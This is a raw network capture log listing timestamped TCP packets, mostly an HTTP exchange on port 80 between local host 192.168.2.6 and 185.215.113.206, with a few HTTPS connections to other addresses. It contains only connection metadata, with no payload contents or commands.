Dec 8, 2024 17:45:43.341626883 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.341646910 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.341712952 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.341712952 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.343415976 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.343590021 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.343619108 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.343722105 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.345082998 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.345180988 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.345181942 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.345269918 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.347121954 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.347254992 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.347258091 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.347348928 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.348774910 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.348875046 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.348893881 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.349895954 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.350557089 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.350635052 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.350744963 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.350744963 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.352371931 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.352416992 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.352482080 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.352644920 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.354182959 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.354237080 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.354351044 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.354567051 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.355878115 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.355927944 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.355958939 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.356231928 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.357578993 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.357707024 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.357726097 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.357770920 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.359287024 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.359426022 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.359431028 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.359603882 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.360996962 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.361028910 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.361120939 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.361120939 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.362648964 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.362719059 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.362771034 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.362889051 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.364478111 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.364548922 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.364571095 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.364612103 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.366008043 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.366123915 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.366200924 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.367727041 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.367820024 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.367856026 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.367856026 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.369415998 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.369554996 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.369663000 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.371144056 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.371251106 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.371290922 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.371392965 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.372828960 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.372889996 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.372962952 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.373020887 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.374809980 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.374866009 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.374888897 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.375032902 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.376348019 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.376398087 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.376437902 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.376477003 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.377855062 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.378006935 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.378045082 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.378045082 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.379602909 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.379740953 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.379851103 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.379899025 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.381298065 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.381385088 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.381427050 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.381510973 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.382953882 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.383008003 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.383074999 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.383148909 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.384635925 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.384710073 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.384746075 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.384809017 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.386327982 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.386436939 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.386439085 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.386482000 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.388046026 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.388107061 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.388140917 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.388140917 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.389741898 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.389808893 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.389833927 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.389934063 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.391464949 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.391478062 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.391633034 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.393099070 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.393177032 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.393218040 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.393218040 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.394844055 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.394949913 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.395009995 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.395071983 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.395581007 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.395600080 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.396462917 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.396548033 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.396567106 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.396740913 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.398236990 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.398318052 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.398336887 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.398775101 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.399844885 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.399938107 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.399986982 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.400161028 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.401541948 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.401652098 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.401763916 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.401812077 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.403213978 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.403325081 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.403358936 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.403464079 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.404925108 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.404984951 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.405049086 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.405049086 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.406604052 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.406785965 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.406877995 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.408721924 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.408868074 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.408988953 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.409823895 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.409857035 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.410733938 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.410790920 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.410841942 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.410881042 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.412225962 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.412266016 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.412369967 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.413682938 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.413739920 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.413825989 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.415091991 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.415153027 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.415199995 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.415456057 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.416760921 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.416826010 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.416826010 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.416843891 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.416888952 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.416930914 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.418212891 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.418256044 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.418385029 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.418490887 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.418525934 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.418541908 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.418560982 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.418658972 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.418736935 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.420209885 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.420268059 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.420454025 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.421914101 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.421988010 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.422066927 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.423532963 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.423600912 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.423651934 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.423651934 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.526170969 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.526298046 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.526309967 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.526401043 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.527041912 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.527182102 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.527205944 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.527250051 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.529037952 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.529083014 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.529570103 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.529676914 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.529803038 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.529861927 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.530817032 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.530888081 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.530915976 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.531013966 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.532031059 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.532181025 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.532186985 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.532352924 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.533442020 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.533531904 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.533638954 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.533821106 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.534646034 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.534682035 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.534713030 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.534742117 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.535887003 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.536004066 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.536031961 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.536086082 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.537358999 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.537436962 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.537508965 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.537508965 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.538727999 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.538847923 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.538868904 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.539129972 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.540147066 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.540250063 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.540287018 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.540338039 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.541517019 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.541553974 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.541632891 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.541632891 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.542895079 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.543023109 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.543102980 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.543963909 CET	443	49755	173.222.162.64	192.168.2.6
Dec 8, 2024 17:45:43.544074059 CET	49755	443	192.168.2.6	173.222.162.64
Dec 8, 2024 17:45:43.544286966 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.544367075 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.544509888 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.545600891 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.545650959 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.545660019 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.545692921 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.546969891 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.547049046 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.547112942 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.547240973 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.548367977 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.548484087 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.548496962 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.548600912 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.549607992 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.549690008 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.549724102 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.549777031 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.550847054 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.550960064 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.550971031 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.551013947 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.552119017 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.552181005 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.552227020 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.552540064 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.553396940 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.553499937 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.553570986 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.553570986 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.554708958 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.554801941 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.554805994 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.554848909 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.555986881 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.556066036 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.556073904 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.556183100 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.557243109 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.557346106 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.557415009 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.557585955 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.558530092 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.558629990 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.558653116 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.558768988 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.559813976 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.559907913 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.559945107 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.559945107 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.561186075 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.561255932 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.561310053 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.561436892 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.562422037 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.562499046 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.562526941 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.562796116 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.563719988 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.563785076 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.563838959 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.563838959 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.564977884 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.565033913 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.565071106 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.565116882 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.566304922 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.566384077 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.566402912 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.566487074 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.567507982 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.567636013 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.567706108 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.568784952 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.568835974 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.568926096 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.569034100 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.570219040 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.570269108 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.570295095 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.570342064 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.571439028 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.571571112 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.571580887 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.571644068 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.572643042 CET	80	49805	185.215.113.206	192.168.2.6
